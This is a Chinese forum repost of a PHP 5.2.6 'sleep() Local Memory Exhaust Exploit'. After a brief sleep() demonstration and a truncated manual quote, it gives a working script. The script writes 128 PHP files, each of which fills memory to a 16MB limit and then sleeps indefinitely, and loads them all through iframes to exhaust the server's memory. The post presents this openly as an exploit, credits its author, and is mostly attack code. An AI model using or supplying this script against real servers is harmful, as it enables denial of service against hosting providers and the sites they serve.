发新话题
打印

[黑客新闻] PHP 5.2.6 sleep() Local Memory Exhaust Exploit

PHP 5.2.6 sleep() Local Memory Exhaust Exploit

<?php
sleep(9999999);
echo 'Hello World';
?>
Will print hello world after 9999999 seconds... so max_execution_time simply dosnt work :P Why? we can find in manual:
"max_execution_time only affect the execution time of the script itself. Any time
<?php
if (!file_exists('./temp')) (@mkdir("/temp", 0777))? $temp='temp/':
$temp='';
else $temp='temp/';
for($n=0;$n<128;$n++) {
    $rand = mt_rand();
    $fp = fopen("$temp$rand.php", 'w+');
    fwrite($fp, '<?php while(memory_get_usage()<16000000) $a.=\'X\';
sleep(999999999); ?>');// for 16mb memory limit
    fclose($fp);
    echo "<iframe src=\"$temp$rand.php\" name=$n width=\"10\"
height=\"10\"></iframe>";
}
?>

Found && exploited by Gogulas[at]wp.pl/hack.pl
拿什麼證明莪啲洊茬

TOP

发新话题